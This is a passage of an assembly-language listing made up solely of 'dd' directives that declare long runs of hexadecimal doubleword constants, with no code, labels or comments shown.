0C5D51408h, 8932AEB4h, 0DA352FF2h dd 1F25CAB9h, 1DD8517Ch, 327DF811h, 0B6AC2CC0h, 0BB054AF3h dd 36034433h, 0AA42F2ACh, 445116C0h, 65341DD8h, 5F0F8A55h dd 5C2CA5C5h, 982E515h, 0FD8B4611h, 9A384C1Fh, 744D64A9h dd 794EB11Ch, 4AD961E4h, 980E0194h, 0ABCF4D73h, 0E8B4BAAh dd 0A115ACC1h, 165DFDA6h dd 0CE7D7684h, 69741744h, 100E130Fh, 330F0F10h, 69306913h dd 0D2711DCh, 39DF0798h, 14F065C2h, 0AE1600h, 3BE28C54h dd 13E3C66Ah, 0A5C18Ch, 0C0C1BE2Ch, 0B2CBBE2h, 39CF9F8Dh dd 0C2804E30h, 2C1804F8h, 3FCAF3BEh, 180BC4AAh, 5545EB69h dd 1D9B1DDAh, 0B63B3383h, 5B9F81BEh, 2CC87C97h, 0E7004728h dd 436401EEh, 1C09AFC6h, 33004F27h, 0D750F510h, 23386045h dd 1A03016Bh, 0CB625A56h, 87CA6CA3h, 0C88B00D2h, 0AF400132h dd 0F6B6BECh, 301E8063h, 7B45BA47h, 5613D952h, 2F0348C1h dd 625DD042h, 825D1AC0h, 34112C5h, 3A00093h, 1AF053h, 1C03221Fh dd 0ED605707h, 90E325FEh, 8FB47362h, 24B2B463h, 4D245F30h dd 0E0DBFE25h, 0C4E205CBh, 6044B1ADh, 0D504768Bh, 0C680B527h dd 1A56BD77h, 8F1B5730h, 0FA404950h, 24990AC8h, 2C1C0E3h dd 7CA6934Ah, 9B5C50F1h, 8C3A53E4h, 5773E48h, 415E2D8Bh dd 0F28DF2F7h, 764D30C3h, 0A6905FDBh, 0E962DEE3h, 92664436h dd 24068BD9h, 6B42E4B0h, 78E01674h, 0B2AE4C53h, 0D65FF002h dd 0B55E7EF5h, 0D808A0Bh, 0C90BB86h, 11311A03h, 88636DDAh dd 72664177h, 606851BDh, 2C070854h, 0C60EE3h, 85B03305h dd 0D05E84F3h, 36550518h, 4C73662Ch, 73840B22h, 6E5EA190h dd 52D8D41Bh, 0C4DC64C3h, 7668E96h, 2BFE69C0h, 0E6848CCh dd 10FC4F13h, 12F0FC9Ah, 0E5611628h, 0AD1A890Ah, 0EF001806h dd 15C60F5Bh, 6A73C0Ch, 742C9818h, 69116127h, 118CB436h dd 780C50Eh, 0E506D488h, 54EF912Fh, 1C18D8D7h, 615FB974h dd 0B21A0FF1h, 4C0B4071h, 78AB518Bh, 0D3DF2D1Dh, 4491D188h dd 0B767909Bh, 946D3E50h, 0F1C75CCAh, 43D50864h, 0AFD01359h dd 0D917FABEh, 506FA6F4h, 54A8360Ah, 0B2F59C54h, 0A85CAA8Eh dd 1565CE74h, 0DB6E2B45h, 0CF828197h, 0BCBB68C4h, 2AE0EB8Bh dd 627CD842h, 77DE2890h, 20BDE27Bh, 0C15689FAh, 51122EB7h dd 5A8655B9h, 31742037h, 5AE404BCh, 738F1485h, 2126DAFh dd 59345FAh, 50BCBF05h, 0E41792EBh, 827DFD76h, 0EC421EEEh dd 1358FC02h, 102C37C1h, 0C0AE8DF8h, 0B8C9D8ACh, 3B39B424h dd 6C4BF719h, 0C04CC845h, 18980979h, 0AABEF5D2h, 0F2C45166h dd 9BB0312Ah, 198931F7h, 0A8AC7EE6h, 0BE455731h, 9978AFC6h dd 0D4BF14D0h, 0AF67EB45h, 0C0C6E8B2h, 16609CEEh, 2BE5537Eh dd 76E472FCh, 3379DF2Fh, 3C0C715Fh, 0AC6893FEh, 3ABC90C2h dd 0CF2B76DEh, 7F10A1A0h, 7422B197h, 5A3C2EBCh, 0C8FDF19Fh dd 4CFA8B07h, 73BA945Bh, 0C1DABF2Bh, 968E2DC8h, 12C75AA3h dd 26684351h, 0BA0BB4C6h, 1055731Ch, 67891EADh, 0ACA92D6Ch dd 44243460h, 8BE90E52h, 0D28E0660h, 0AA4034B6h, 333DAE94h dd 0E5329D59h, 4AA19335h, 4B85F230h, 0B057E479h, 0A4401DC0h dd 0C884E0D0h, 9516C09Fh, 0A5162741h, 800A9C42h, 19A20DFDh dd 76597140h, 77480565h, 0B18E12Eh, 98803463h, 0BF4C706Eh dd 24FFE2A9h, 7D04522h, 0A5029AF1h, 0CFD79B48h, 455D7495h dd 449FC9Eh, 2CED1AF4h, 0A1C8EDFh, 0B719FD47h, 0DAEE7Ah dd 57CDF555h, 566439C9h, 0CB41E547h, 5F1DC57h, 0E0BD34B7h dd 0C4516265h, 0AA0604Ah, 438021ABh, 693B1529h, 0AC653CC0h dd 3A600D7Bh, 0D1205543h, 5CCC4CC6h, 0DA2FBF07h, 946396DAh dd 115D8B79h, 5E5D94B1h, 238716F2h, 0C96066CDh, 9A7097C7h dd 8B0EAE60h, 94E97471h, 284EA63Ah, 0C6E93DD6h, 140D0A1Dh dd 1BE82E3Ch, 461A9620h, 2005AEC3h, 79484C77h, 92BB1D61h dd 30C7E10h, 98D0C53h, 79DCEB0Bh, 6081751Ch, 2DD46354h dd 50EE4D07h, 0D155A95Ch, 68C0C60Bh, 10E39DFBh, 43186ECCh dd 9CA86E6h, 0B7FCA936h, 6C111AA9h, 0CD4B318Eh, 633F1DFAh dd 61EB4ACFh, 3CDD49Eh, 0E5C92EB4h, 38A4B5CAh, 0FFA93ACEh dd 264361C6h, 131DA287h, 48BA954Ch, 0D0537183h, 0F7AFEA7Eh dd 35B8B28Eh, 0A3EA72E9h, 452DA9AAh, 0BD5F1BBEh, 0EA284FBCh dd 8B97CA83h, 4B281CFAh, 0C9193A61h, 6CB77AB8h, 0CA4A3A65h dd 0E17C7358h, 257E9301h, 0FB020599h, 8008DE89h, 91B62416h dd 0F7B12B4Ah, 375C0439h, 0C7153C55h, 89AF7565h, 34734A9Ch dd 7C47874Bh, 0AAA86618h, 0A92A3C11h, 4CA9AB7Bh, 8D42A829h dd 0F24AFC5Bh, 7A65255Fh, 0A119C754h, 2469F277h, 3AC4726h dd 0A8F569E6h, 7232586Bh, 54A94BE7h, 3ACFE668h, 4C66368Ch dd 0CA89BACCh, 7A4DDE3Eh, 0ABB73A70h, 65F1C7F5h, 6C06980Fh dd 499195B9h, 355A9F7h, 4FA2FAD1h, 1F5EF1B6h, 8A1368AFh dd 51464F16h, 91CE77C6h, 16ECB75Bh, 82275CE4h, 31BCAAF8h dd 0D118E0A0h, 30794CE6h, 33060689h, 6976301Ch, 71A45CCDh dd 0C0350D83h, 7B9CC308h, 0E0BE3B0Eh, 0AD177180h, 0BB08120Ah dd 0F5F2B778h, 3C58E9C4h, 2BB56D50h, 69D74DBBh, 17011202h dd 91D80A7h, 0C558146Ah, 0CC737AA0h, 0EEB88A2h, 0F733E0Ah dd 0C9A53CCAh, 0CCA0D8CDh, 226EA3B1h, 5096AFCFh, 84411A98h dd 8863E792h, 0BCC456B2h, 7A5EEB03h, 0DEB351C0h, 0C84260D0h dd 0A77F1FD5h, 3C09B72Bh, 0EB17CCEAh, 78DFC7C2h, 1F531C72h dd 8300FA6Ch, 0F591744Fh, 9861E691h, 37C1DC34h, 460518BAh dd 0E600F537h, 307D3C22h, 182493B1h, 0BF434BF7h, 0C0C3C7D4h dd 31812651h, 24C551B8h, 0EA6E9E6Ch, 623DB4C3h, 0A2BE9D8Dh dd 0ECE89D7Bh, 0C9010FACh, 97D0AF56h, 486DBA43h, 949C4EE6h dd 6024ED25h, 1AD4698Ah, 0B8BFDCC6h, 15DA350Ah, 2FBDC5D1h dd 5B30A18h, 36CB7795h, 26E6EEF7h, 831AB9F6h, 75459AFEh dd 97568C14h, 0A7368549h, 2FCD6063h, 21148EE3h, 97E5F861h dd 0E6F69311h, 0C1DBBF08h, 4DB47C8Ch, 913B2F3Fh, 0D21DF5BBh dd 0C62F60C9h, 0BB86785Eh, 8FE855A8h, 877C23C2h, 0ECBF8F5Fh dd 89BE0BAh, 0FE608B90h, 9316862Ch, 34B4916Ah, 0E062BA30h dd 6D8BE2D1h, 9278DF84h, 6B6E4D6Fh, 27FEEF7Bh, 99FE149Fh dd 87F9037Ah, 979C4D4Ah, 67F91E62h, 0C098E5CAh, 625E36DFh dd 79392AB1h, 67F0E6BEh, 823A8895h, 0F5BBD871h, 817ED1B4h dd 94F694B2h, 0F695B5AFh, 49FFB96Dh, 76D5FA9h, 54ED8256h dd 0C058E977h, 1AD05BA4h, 15694527h, 0E7940BADh, 0D7A36BCDh dd 3398845Bh, 75A87F49h, 0F309AFF1h, 659BE51Fh, 0FC377949h dd 0D1DDF2B7h, 0BE9EFC9Eh, 0AA698DC5h, 0C5B7B8A3h, 0ED817F3Bh dd 22AE2B7Eh, 0AA7F2E5Ch, 0A7C4CC14h, 0ACE72D50h, 5B7B7D99h dd 0FE6BB694h, 0B3514FC3h, 0DBF2AB2Dh, 0D104CE6Ah, 5D53F7E2h dd 93BC9750h, 293A26D8h, 9A216AAh, 0E914743Fh, 680C57C6h dd 0C4A99E2Ah, 0D1DB7250h, 4B43F4Ah, 0C0D11DC0h, 9F1CAF82h dd 0D05A89C0h, 0B69EF0FFh, 3239911Dh, 88CB07BBh, 52EFB83Ah dd 2BDDF5DEh, 9998DC93h, 7111722Fh, 84DCC3F8h, 0C4F84BF5h dd 0A7414073h, 0EC508CB3h, 0D68ADD10h, 0F70FC6A2h, 63140739h dd 0D7389E74h, 463A54A6h, 504E71B7h, 34968411h, 0E9ECE7DCh dd 0C2157FC2h, 0E0D80818h, 0C069FA5Dh, 210C629Eh, 4E0620AAh dd 39F4A7D1h, 8321F584h, 0C5BEAF17h, 56A3D53Bh, 0CEF50EF5h dd 47F048Bh, 0D0DB9CE3h, 9CC2DF43h, 0E94A44A3h, 46D1DA2Ah dd 383E665h, 0CF621724h, 0A861A001h, 9EE0BA09h, 11467D15h dd 705AED6Dh, 93610D19h, 0CE65A20Bh, 4810405h, 6AD8D622h dd 0D8347669h, 0F326AC0Eh, 7B84C150h, 3A949034h, 83214514h dd 0D1480916h dd 0B461A60h, 93170A60h, 68AA55F2h, 218C8601h, 6E91835Ah dd 5B615EAEh, 6A06BC0Ch, 86078446h, 9A892BF6h, 15790FE3h dd 228EF445h, 0D406036Fh, 74D1F200h, 4CEEB1Ah, 0F95E4F83h dd 93212A60h, 0B445F45h, 0A3BCC16h, 1A40F419h, 4C802FAh dd 0CF469A13h, 0D1821305h, 39D55817h, 8594E1DDh, 688F2988h dd 0BF2F46BBh, 193CC5F6h, 67AFF3EEh, 5116139Fh, 8116D660h dd 2B385C31h, 0D4F775C9h, 0E9279971h, 9702A50h, 99CE6071h dd 0AE8C31D5h, 0C11C1415h, 63711876h, 239FBB17h, 73AB24CDh dd 0AFB0A618h, 0A59C51ACh, 7646E597h, 3749D73Dh, 0B17E0BC6h dd 0DCBAA7h, 18409D70h, 4BB62CFh, 403B7A48h, 7F98DA5Dh dd 915E9DE4h, 0F32866D9h, 14192795h, 7300CFA3h, 0C6B61562h dd 0FA366368h, 91216E84h, 1B37C47Ah, 18EC4A61h, 614B7C84h dd 0ABDF14Ah, 0BA96241Dh, 17F8A392h, 0F22B6E76h, 8BB8ED76h dd 6D9BB27Fh, 64B587E4h, 971D3658h, 0E33A1FC5h, 0E563B8BBh dd 99A75EA7h, 980DE300h, 940E0807h, 0BA6716DEh, 1C8A436Ah dd 22E76E30h, 97D2E94Fh, 0D8C2ED9Fh, 91EFDE7Ah, 18591B98h dd 0FC5B5BD0h, 59FCD359h, 0EC0622D3h, 0E5AB47B7h, 0E202E314h dd 8E2AFAD9h, 0B3419B1Ch, 153BE954h, 0C885C7F4h, 2EEC9F94h dd 0E2B4A5A6h, 7DC7E54h, 3A0BE53Ah, 389EB4F1h, 74539F5h dd 0A2F77E1Dh, 30CBBF28h, 43E7438Ch, 0C48C56EBh, 2678FE2h dd 276E352Ah, 4D05E972h, 1516EC3Dh, 7789460Ah, 0E6506E05h dd 0D02659D4h, 128D0D8Bh, 592A4AAEh, 7455EC49h, 6945E0h dd 0B990D842h, 459655A5h, 1840E47Fh, 154C8530h, 1A34DF50h dd 4090AFF1h, 4B40C24Fh, 2642BAB0h, 0C0555309h, 0C27C9846h dd 56EBC326h, 0EE33700h, 0C0E25AE3h, 585C063Ch, 0B26E53B1h dd 240CB072h, 0DB846D02h, 0C7013128h, 712AB8C0h, 4DFEC069h dd 0E44CEE2Ah, 30F1FD2Ah, 7430A628h, 9ABF0126h, 3606CE87h dd 0A8D263EBh, 112D2E4Bh, 5918F777h, 0AF841E8Ch, 0C5974DD1h dd 0D2EB5DE3h, 306C07E8h, 0C757B0Bh, 61CEA98Bh, 10F29773h dd 0D32FA0B1h, 85ACBA37h, 8822DD75h, 4DA5AFDCh, 9155BBC6h dd 75BD564Bh, 6D6607B6h, 54CB21DEh, 37BD1DC5h, 0B07B88F0h dd 474ADA12h, 0F44EC5E3h, 8DC1D3C9h, 1B728422h, 19ADB935h dd 0B967A84Dh, 0DE50F475h, 0A3C09A48h, 2264DCFh, 7B26368Bh dd 60821974h, 602634D6h, 168370D0h, 0E510EED3h, 0A824AD87h dd 6E790699h, 34436C50h, 61F6B837h, 0E3232E9Fh, 6DDEFD2Ah dd 4898B60h, 91608DAFh, 0C8C52C80h, 8C5C46EFh, 13DC8758h dd 0BE99BAF3h, 5696A9A2h, 6BA5D40h, 1891B994h, 0CD45ED4h dd 74665798h, 883906B9h, 6384304Dh, 467CA83Eh, 0E9861F9h dd 0B13A670h, 303AA106h, 0D335489Fh, 0A1CC5A23h, 2EB3AB97h dd 2DE219E5h, 6023EB88h, 66905B5Dh, 599AB1F6h, 0A0B8F5DEh dd 93F0716Ch, 24A40D06h, 4BDA8CC1h, 1A50DF35h, 41C044B0h dd 671A3265h, 8862BBB4h, 0AA461B56h, 395282FDh, 0D2176879h dd 0E22467h, 42F70FE2h, 0C96760FAh, 0EB322610h, 93C72BA0h dd 7DC6AE8Ah, 0E3AC58D9h, 44E434Ch, 0D95E3DAh, 5C6BFEB4h dd 0C310D477h, 0C6177F4Ah, 6540CAD1h, 5D85EE7Dh, 2BA8EF65h dd 0CD0A0E9Ah, 0AA352A8h, 3FAA7336h, 162218CAh, 3A302BA8h dd 0EB4FAAD7h, 0EC51447Ah, 5B57F84Dh, 0E6094644h, 61461464h dd 0FB095981h, 16039F17h, 3C7D5C16h, 5D64651Fh, 63E1696Ah dd 2167225Dh, 1772CEA2h, 496780Dh, 0D48A1E9Ch, 575904E7h dd 0A01B1009h, 0FB6408FBh, 0EA7C597h, 65721554h, 0EB5F30CAh dd 1A070DD2h, 5700706Fh, 8A7327DCh, 2BA2DE2Eh, 17F1110Bh dd 0DD2E7A86h, 340E23C0h, 14D1FF96h, 75592691h, 0D10811C3h dd 0DF3F8F52h, 48E57DC5h, 62000FE2h, 36FBA863h, 8A92A305h dd 31388C5Bh, 0DD81F27Fh, 8F288D0h, 42448FD1h, 49FD29F0h dd 932B755Dh, 3DF060F4h, 174A8FAh, 840959C5h, 87AABEC1h dd 0E7B885D1h, 6726D114h, 917776BBh, 823F88B4h, 9D0FBC0Ch dd 62C1DBBBh, 14E0E23Ah, 2A8A8D44h, 0BDA573D1h, 0EC38A981h dd 7512E62Bh, 4F82D7C5h, 6DFE016Eh, 0FC6263A8h, 4CDF911Eh dd 0C179F0A1h, 0EF5FD803h, 18467877h, 16F70D26h, 3D9401A7h dd 8653A44Fh, 27EDE981h, 79C1F8ECh, 4DB11E60h, 45802875h dd 9E471823h, 445C4CBh, 0A4C537A1h, 999AFF9Eh, 72E185BAh dd 1A5DD14h, 0A17FFB44h, 32533334h, 2FAD11C0h, 9846336Ah dd 0CA14CC1h, 4A2F6533h, 61987F11h, 49EE6D4Ch, 654C4040h dd 6553238Ah, 5DC056Ah, 4F310DC3h, 62E0C0E2h, 0D235545Fh dd 4B62167Eh, 4880DF02h, 0A7945C60h, 0A9FEE02Ch, 7B10C792h dd 827C4D02h, 0E39B0F06h, 0D24093Bh, 1310ED68h, 7A32AEA8h dd 19405016h, 0A8AC4645h, 0D10B8997h, 9A32BA7Eh, 0B8A3B23Fh dd 407B2B75h, 473731D6h, 65192E5Dh, 7ED1B9B3h, 134BBCC0h dd 0D861AC86h, 9723E33Ah, 8D46181Bh, 8D4780BAh, 54F201F2h dd 3FE691A7h, 46D091F2h, 97CD1311h, 69F8F33h, 0C445FD9h dd 4BA3D522h, 0E44DB390h, 56F8FC68h, 0C810ABE6h, 1869CE6h dd 0ADDC6A16h, 0B45027F1h, 0BADA622h, 965223Ah, 4A976CBEh dd 0D0C475FEh, 0A9A7A8E9h, 11EBF975h, 9EFF3087h, 0B39E47C3h dd 0AA9C25B9h, 0A12D2F51h, 1D2D081Bh, 83A2A7F1h, 0E95B124Eh dd 4663ABA3h, 0EF595FC5h, 46BD9552h, 0C9A80D1h, 9303E67Ah dd 173956A8h, 24A4CDBh, 0C07D8A9Dh, 3B80C402h, 0C387DF6Dh dd 1530DBD8h, 0D83C3BE6h, 88A38115h, 4FC37556h, 574125Eh dd 5A356309h, 0D4687D74h, 8CF23B7Fh, 943A8307h, 6974D9Eh dd 66C1196Ch, 944FB8B7h, 466AB603h, 81F5E2FAh, 0FD493A04h dd 14A9FECCh, 6F56E741h, 92D85019h, 0A27FDE40h, 101F964Eh dd 887255F6h, 0DF310635h, 130C9CB7h, 0AB574952h, 726C7F5Dh dd 28EA9E4Dh, 5418A812h, 0D1C0CDA6h, 0E3EF3172h, 0BCDDE83Bh dd 6C60F7AEh, 6A93A9EAh, 6D72AB30h, 78F6B3C3h, 0A21E9230h dd 48F2115h, 7177B913h, 776B5611h, 0B23BAE1Eh, 58148971h dd 30BBA7ADh, 22EF452Fh, 2BB8AB25h, 16EA182Bh, 7C11E3FCh dd 9FAB771Eh, 0B8D30B2Ah, 41991853h, 0CB2BDD36h, 41E582FEh dd 0B953BB6h, 685AA5FDh, 0BE8B3E8Ah, 729A4191h, 118FB8F5h dd 0C101167Dh, 422136B3h, 2D030E55h, 7F7DE55Fh, 4D12E0CFh dd 85DB0DF0h, 7A6C55F8h, 23BB8CFh, 6E98D14Ah, 7F0459B1h dd 0EFC72218h, 281F4150h, 0ABFB197Fh, 87EDD4DBh, 66AF60A0h dd 0A235F0B4h, 0B4266021h, 0A0E08B8Fh, 34178184h, 0C55F583Ah dd 0A29C4805h, 729DAC74h, 3BA985DDh, 0E88715A3h, 0A57F5575h dd 0C1291C12h, 0D3A18BA1h, 0C4982806h, 0D196E2C8h, 55D90218h dd 0BA479DF0h, 0C9A72CBAh, 0DDD97CF9h, 4449F476h, 90195165h dd 51C09C01h, 0D8C9DAD7h, 0A3451BE7h, 31DC2CCCh, 0D8DB60A8h dd 228C9837h, 7F4499B7h, 9521342Dh, 35CEA59h, 0A9441670h dd 1725C5ABh, 22EDFD5h, 0A8852FAEh, 9C6B4A3Fh, 2DFCD55Bh dd 2FB61AFAh, 3D19094Fh, 0B14CC577h, 0D9655177h, 0B6E6849Fh dd 4D306BBAh, 0F317594Dh, 298CB62Ah, 2DB84F5Ah, 6DC49CABh dd 181E12C0h, 0AEDD06A1h, 585AF7E4h, 0CC5B129Dh, 768BDB13h dd 0FA314BF5h, 0C06D6BE2h, 46198A76h, 2B466D63h, 5CA0C882h dd 0BD2816D4h, 0F3AF3682h, 6A575B50h, 2081E26Ch, 0BD829072h dd 717A6D1h, 822C1B4h dd 554882F4h, 32A0E8F3h, 41A9BBCAh, 4496322Fh, 64F4ECBBh dd 1C8CDD80h, 46B0143Dh, 1F5B2DCCh, 0C8886049h, 0C2BB1AFBh dd 8B635930h, 442CBAAh, 13705F9Eh, 0DFCAC986h, 4D668A97h dd 0C695EF2Ah, 104154ABh, 0D8940C44h, 1E92C0EBh, 70091926h dd 5E631287h, 3F1797F8h, 4233ABF7h, 48F60908h, 24BE0CE0h dd 2DC10098h, 8620BB9h, 9FC8225Dh, 3404D95Eh, 2EC2C41h dd 0FDBE535Bh, 0B64E3C10h, 44E020Ch, 4D47C05Dh, 3F965B32h dd 0D16451Dh, 68BC8D85h, 9E4E902Fh, 1948EDFBh, 74AC8BAAh dd 857DFB93h, 952A67E6h, 72D70905h, 1D4736ECh, 460C73DEh dd 0F1DC485Fh, 0E93360B3h, 0A1154A13h, 0F84E5FE7h, 0F907804Ch dd 0F180C3C2h, 0BA465FC8h, 93F37656h, 8A8E12BDh, 883510DEh dd 37A0DC51h, 72EF1DCDh, 0B22CEC60h, 0EBBE305Ch, 0EEC3DD88h dd 0BDA71468h, 541922CFh, 26CD63AFh, 30225CE9h, 32E7044Eh dd 0FB6FBB70h, 5D6982CAh, 40C2DECh, 2A775D02h, 0B413E509h dd 9152294Ch, 560EE92Eh, 309D4217h, 0DDBB71BBh, 59D259C8h dd 0C90F4AC5h, 0AACB4404h, 0A10F0A70h, 407A9C6Eh, 0C8B1CCF7h dd 99D31263h, 6BAAB78Ah, 666076A3h, 53F779ECh, 28E11A51h dd 61471627h, 7180C741h, 0E359DC92h, 6B63F978h, 8DF47902h dd 1D5BAB63h, 0FC416669h, 0D26E14C5h, 22F3482Dh, 0DA090330h dd 62B9166Ch, 0A5BD277h, 289DC863h, 0D0877810h, 82C91A5Eh dd 0EBA556BBh, 6389154Ah, 0A4D55F2h, 3EB3766Eh, 511DD9E0h dd 0C50798F7h, 735596D3h, 0EA7F1CECh, 0F6AF088Ch, 6A48136Eh dd 0A689161Eh, 0E31F45E3h, 0FC8CD83Ch, 98A5A5F3h, 310BE32Ch dd 805EEC7Dh, 0F7355C49h, 991DD9D9h, 9E7FE661h, 0ABDEBE86h dd 0B52E110Bh, 4F3FFF77h, 1C8DD93h, 540589A3h, 8BBAFD99h dd 0D7387BEDh, 12DFF0E0h, 4712762Ch, 81AB5221h, 6C184808h dd 23301605h, 6C30ECFh, 9CB3A8A3h, 4405FA3Ch, 2C15CC8Ch dd 46FAD1A2h, 0D811E605h, 9958EF69h, 8C0F167Fh, 8D2428A8h dd 3162D8F5h, 173760B7h, 80F84703h, 95AD2EDh, 35745D29h dd 0B272E1Dh, 0A48AD8A6h, 5202F0E8h, 7522B23Dh, 38064E60h dd 2E4A48B9h, 8B92B02h, 0A822112Bh, 27CC3444h, 0C1C5E4B1h dd 0B3FD9C75h, 273B3B88h, 0A1F86603h, 37CA6239h, 36893E08h dd 1ECC1828h, 1331E4A1h, 0D11EA34Dh, 4B1389E4h, 0E4B1B8A3h dd 0A4D12C89h, 0FDB41EA4h, 3CD1493Ch, 48E878C0h, 84F3E14Ch dd 3400D81h, 0FDA2F488h, 8CA861BCh, 744B172Eh, 8F669C21h dd 9D324511h, 684D982Ah, 0D11AD0CCh, 4F038344h, 8D28709Bh dd 29E34E48h, 0B9A24D87h, 13B82806h, 0B1816D3Ch, 7812234h dd 0E45DAF18h, 0EF5267AFh, 345931BEh, 0BB649E20h, 398861BBh dd 0B398662Eh, 62A0BE62h, 0A7D84B6Ah, 0DFF4F0C1h, 0B65DE936h dd 66A481B8h, 0D5825353h, 6AB87A96h, 60D16971h, 27E97ACEh dd 5CDB8449h, 9146A86Eh, 741EC2E9h, 0E1E9E71h, 8495A026h dd 0DE26DE95h, 2316314Dh, 0B5A320BAh, 8AD0A9DEh, 0CD28395Dh dd 9CE9A237h, 514007A9h, 683822A4h, 0F613FB67h, 99BFD793h dd 9A29F538h, 269BDA0Eh, 0BC0F1EA5h, 0FC0F8EEDh, 55D7FFD0h dd 221FB3F8h, 0A173CDDh, 7ECB4754h, 320AB4A4h, 50509146h dd 0C680017Bh, 74541317h, 134ADBE1h, 0E01B610Ch, 110EFCE0h dd 0A19F28D2h, 0A01AFA47h, 9EB126D0h, 0F31B237Dh, 930FBE0Ch dd 0AD11F81Ah, 0BF02824Eh, 32CF0C2Dh, 0EED8404Dh, 7EF47ABBh dd 0C48645C6h, 6851458Ch, 6963B23h, 0AC2A880Eh, 0A02E112Bh dd 31CAD103h, 4E14B788h, 82BF4FD8h, 0AF97390Fh, 65D992B4h dd 898A3C07h, 0A0A09180h, 6BE37270h, 7D8B012Bh, 1D6A11A9h dd 0A85C5A21h, 0AA9B0B03h, 76331484h, 0A7928B09h, 0D1017CA9h dd 5C63C447h, 9622989Fh, 87668D54h, 0A7558719h, 794886EEh dd 67F51228h, 0D67DAB4Fh, 0CEBE74h, 643510Fh, 0C68E034Ah dd 7D5196C7h, 0F88C8302h, 0A211202Bh, 88A3444Ah, 95163E3h dd 0FE432E55h, 0E21884ADh, 15859CAFh, 1BB5CC42h, 5FF39313h dd 0B68E0FECh, 6DB84A00h, 0E3D08311h, 88C2FAAFh, 0A323B461h dd 98D10F9h, 0D8D931C4h, 6364900Bh, 85F84026h, 9ADE01B6h dd 71D1BD9h, 57188C22h, 0C56418Bh, 69E093A3h, 19A47194h dd 0B4615247h, 8E1C62E9h, 0AD911A38h, 0C7C54787h, 0F12A554Fh dd 6C033072h, 44CAE14h, 5610627Ah, 3E7C8C74h, 0C81ABAB0h dd 0D4FC58E3h, 7180005Eh, 1F0304CCh, 7BD136C7h, 67C57B1Ch dd 3663046Fh, 82713988h, 0A211A9E8h, 0E9B4946Ah, 288E4462h dd 2DF1411Ah, 5981C46h, 0FA224462h, 0AB90EA54h, 601880F4h dd 2C75E21Dh, 24AF13D3h, 4ADA3907h, 0F4322730h, 3CCF398Ch dd 1798BF9Bh, 0C7104743h, 0CCC624F1h, 0DBAD8C31h, 38230DB1h dd 0C7CBF41Ah, 58404D58h, 58234212h, 9BCE8348h, 0C14005D7h dd 0C5CF1DAh, 19462899h, 0C468427h, 1746A221h, 87112E9Bh dd 0E2EF8623h, 0C6696684h, 0D69DD7BAh, 0F83C2359h, 1C91F061h dd 0B2204AF3h, 58FF4630h, 0FB3089EBh, 80E20099h, 0F1738089h dd 848A76C4h, 40C12DE4h, 0B65B688Fh, 0BCC04E1Fh, 6120719Eh dd 0B212FEE3h, 6D82B04Fh, 0A01CCF5Ch, 8E073506h, 0C1659F6Dh dd 5E5DA60Ah, 7B7001EFh, 61E680F1h, 498B207Fh, 34138DB1h dd 6E8BBDF0h, 0E904ECCBh, 7F17AB2Ah, 6048FC23h, 91E64948h dd 5566887Ch, 0FEDE39Eh, 8C48D9A8h, 0D51AAA21h, 25D60FBDh dd 14CE9FAAh, 0EDF950C3h, 416DB28Fh, 0A2E8A601h, 8D0E50EDh dd 6531C2B7h, 0F8A0BB2h, 0A54F0592h, 0C8E038AFh, 270C413Eh dd 40345A5Dh, 0A2CF0BFDh, 76F2C1CFh, 0E5CE6A31h, 6077998Dh dd 0ED1C29F3h, 0C5A2B184h, 95A54568h, 0A9C7208Eh, 9F1F4FDh dd 77CFC11Ah, 9C0457DBh, 20118340h, 3409CD02h, 79A1301Ch dd 93C843CBh, 0CB80B83Dh, 4647B233h, 6682C4D0h, 38105013h dd 0F5DF1460h, 5314101Eh, 0A9DC5830h, 278CBAC6h, 83FC667Fh dd 928624BDh, 975D502Eh, 0AD5F0536h, 13462288h, 0C174BACAh dd 0FE519A89h, 0D016D987h, 9B54BB3Ch, 83370486h, 0C502643Ch dd 82E1290h, 61A37B4Bh, 3CC2A930h, 940848C0h, 10CDE835h dd 0BC424E4h, 5337E365h, 0F823C206h, 0AA24C93Ch, 0CFBE90CEh dd 5FEF3E0h, 5B6D166h, 82EC6756h, 30A811D1h, 0B4089230h dd 47CD6869h, 98BFADA0h, 0D3C022Bh, 120D830Ah, 131A48F5h dd 29070964h, 0C7406B56h, 0E946466Ch, 99D4EB63h, 0ACB79BF3h dd 0D1C04543h, 0E8BC27DAh, 568DEA34h, 4531AC16h, 1606A751h dd 26B14631h, 0DF98CB4Ah, 0CF6E1798h, 273617F1h, 1B8A8430h dd 0A36492A1h, 86D75A4Eh, 0A3380A30h, 0A1C65B3Dh, 0CA2C0BAh dd 0AB953D97h, 9D8AE36Ch, 497463Dh, 0C50177D4h, 5FC199Bh dd 0F9822546h, 4975012h, 0E4552F14h, 345CBD3Ah, 136FBF1Dh dd 0C0B35D71h, 0CE888268h, 0B8CB30EAh, 0A7D5E678h, 3E1E19ACh dd 158FA812h, 91F0E250h, 4B331DC0h, 2E8872B1h, 7AAD6988h dd 59ECC5FAh, 9167AE00h, 9D345674h, 2D288737h, 4F785488h dd 0A6076D28h, 795B3C9Eh, 7AB77453h, 1AD30952h, 0B5FA2938h dd 453EE704h, 52F731D6h, 699694E5h, 8DDF95Dh, 0BF57C1CEh dd 9096220Ah, 0E50BE802h, 0B5232131h, 0C6ED3B09h, 3E73F4E0h dd 1BE83CFDh, 0F84C4C79h, 513FC039h, 0D804FE26h, 480F4A17h dd 0A034D40Ch, 2848E077h, 7C72AE78h, 90138917h, 0FF1D708Bh dd 8C1E039Ah, 6069B3B2h dd 2C5AEB98h, 834215FBh, 830414EFh, 72189689h, 84524B2Fh dd 0DFC410BFh, 2F5E488Fh, 9280E67Fh, 3CD18Ah, 0A7938814h dd 913FF70Eh, 0C7AAACFAh, 0C8F881C2h, 1E1E0713h, 5B986DF5h dd 4FBE60FDh, 5C6F8901h, 7ED19FB4h, 77C4CF2h, 6EF42E94h dd 91250F72h, 55A84C7Eh, 0AEF3CAEAh, 0C3466A4Ah, 0AA1E4CD1h dd 0FD3DBF8Bh, 0EDFC6D48h, 2E6959E9h, 4EF3039h, 19453C0h dd 1120C2BEh, 23C7F126h, 0A2297E9Ah, 8EA2516Fh, 303F3047h dd 0E3A8CC4Ah, 0F69D4B11h, 8EA7B7C3h, 33FB2847h, 0F1703C49h dd 2BB31E0Ch, 5A278FEDh, 0AAEC482h, 0BDAB9D6Ah, 6CE56F8h dd 0F533A8C7h, 582B69AFh, 7CF9AE8Ah, 0D1F06D81h, 62AB3D7Dh dd 4D802A3Dh, 0CD0F7FD5h, 0C9CAE4FFh, 333FAAB0h, 2B6B8A12h dd 8AB4D18h, 0C164E606h, 182D92F4h, 533E700Fh, 7D66D989h dd 